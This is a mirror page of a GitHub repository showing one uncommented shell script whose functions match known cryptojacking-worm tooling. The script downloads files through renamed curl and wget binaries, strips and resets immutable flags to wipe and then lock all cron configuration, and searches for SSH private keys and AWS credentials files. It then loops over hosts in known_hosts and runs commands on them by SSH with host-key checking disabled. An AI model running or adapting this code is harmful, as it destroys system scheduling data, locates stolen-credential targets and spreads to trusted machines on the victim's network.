mirror of https://github.com/lework/script
You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
102 lines
2.6 KiB
102 lines
2.6 KiB
2 years ago
|
downloads()
|
||
|
{
|
||
|
if [ -f "/usr/bin/curl" ]
|
||
|
then
|
||
|
echo $1,$2
|
||
|
http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
|
||
|
if [ "$http_code" -eq "200" ]
|
||
|
then
|
||
|
curl --connect-timeout 10 --retry 100 $1 > $2
|
||
|
elif [ "$http_code" -eq "405" ]
|
||
|
then
|
||
|
curl --connect-timeout 10 --retry 100 $1 > $2
|
||
|
else
|
||
|
curl --connect-timeout 10 --retry 100 $3 > $2
|
||
|
fi
|
||
|
elif [ -f "/usr/bin/cd1" ]
|
||
|
then
|
||
|
http_code = `cd1 -I -m 10 -o /dev/null -s -w %{http_code} $1`
|
||
|
if [ "$http_code" -eq "200" ]
|
||
|
then
|
||
|
cd1 --connect-timeout 10 --retry 100 $1 > $2
|
||
|
elif [ "$http_code" -eq "405" ]
|
||
|
then
|
||
|
cd1 --connect-timeout 10 --retry 100 $1 > $2
|
||
|
else
|
||
|
cd1 --connect-timeout 10 --retry 100 $3 > $2
|
||
|
fi
|
||
|
elif [ -f "/usr/bin/wget" ]
|
||
|
then
|
||
|
wget --timeout=10 --tries=100 -O $2 $1
|
||
|
if [ $? -ne 0 ]
|
||
|
then
|
||
|
wget --timeout=10 --tries=100 -O $2 $3
|
||
|
fi
|
||
|
elif [ -f "/usr/bin/wd1" ]
|
||
|
then
|
||
|
wd1 --timeout=10 --tries=100 -O $2 $1
|
||
|
if [ $? -eq 0 ]
|
||
|
then
|
||
|
wd1 --timeout=10 --tries=100 -O $2 $3
|
||
|
fi
|
||
|
fi
|
||
|
}
|
||
|
|
||
|
|
||
|
function clean_cron(){
|
||
|
chattr -R -ia /var/spool/cron
|
||
|
tntrecht -R -ia /var/spool/cron
|
||
|
chattr -ia /etc/crontab
|
||
|
tntrecht -ia /etc/crontab
|
||
|
chattr -R -ia /etc/cron.d
|
||
|
tntrecht -R -ia /etc/cron.d
|
||
|
chattr -R -ia /var/spool/cron/crontabs
|
||
|
tntrecht -R -ia /var/spool/cron/crontabs
|
||
|
crontab -r
|
||
|
rm -rf /var/spool/cron/*
|
||
|
rm -rf /etc/cron.d/*
|
||
|
rm -rf /var/spool/cron/crontabs
|
||
|
rm -rf /etc/crontab
|
||
|
}
|
||
|
|
||
|
function lock_cron()
|
||
|
{
|
||
|
chattr -R +ia /var/spool/cron
|
||
|
tntrecht -R +ia /var/spool/cron
|
||
|
touch /etc/crontab
|
||
|
chattr +ia /etc/crontab
|
||
|
tntrecht +ia /etc/crontab
|
||
|
chattr -R +ia /var/spool/cron/crontabs
|
||
|
tntrecht -R +ia /var/spool/cron/crontabs
|
||
|
chattr -R +ia /etc/cron.d
|
||
|
tntrecht -R +ia /etc/cron.d
|
||
|
}
|
||
|
|
||
|
function CheckAboutSomeKeys(){
|
||
|
if [ -f "/root/.ssh/id_rsa" ]
|
||
|
then
|
||
|
echo 'found: /root/.ssh/id_rsa'
|
||
|
fi
|
||
|
|
||
|
if [ -f "/home/*/.ssh/id_rsa" ]
|
||
|
then
|
||
|
echo 'found: /home/*/.ssh/id_rsa'
|
||
|
fi
|
||
|
|
||
|
if [ -f "/root/.aws/credentials" ]
|
||
|
then
|
||
|
echo 'found: /root/.aws/credentials'
|
||
|
fi
|
||
|
|
||
|
if [ -f "/home/*/.aws/credentials" ]
|
||
|
then
|
||
|
echo 'found: /home/*/.aws/credentials'
|
||
|
fi
|
||
|
}
|
||
|
|
||
|
## 内网互信主机执行命令
|
||
|
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
|
||
|
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do
|
||
|
ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'hostname' &
|
||
|
done
|
||
|
fi
|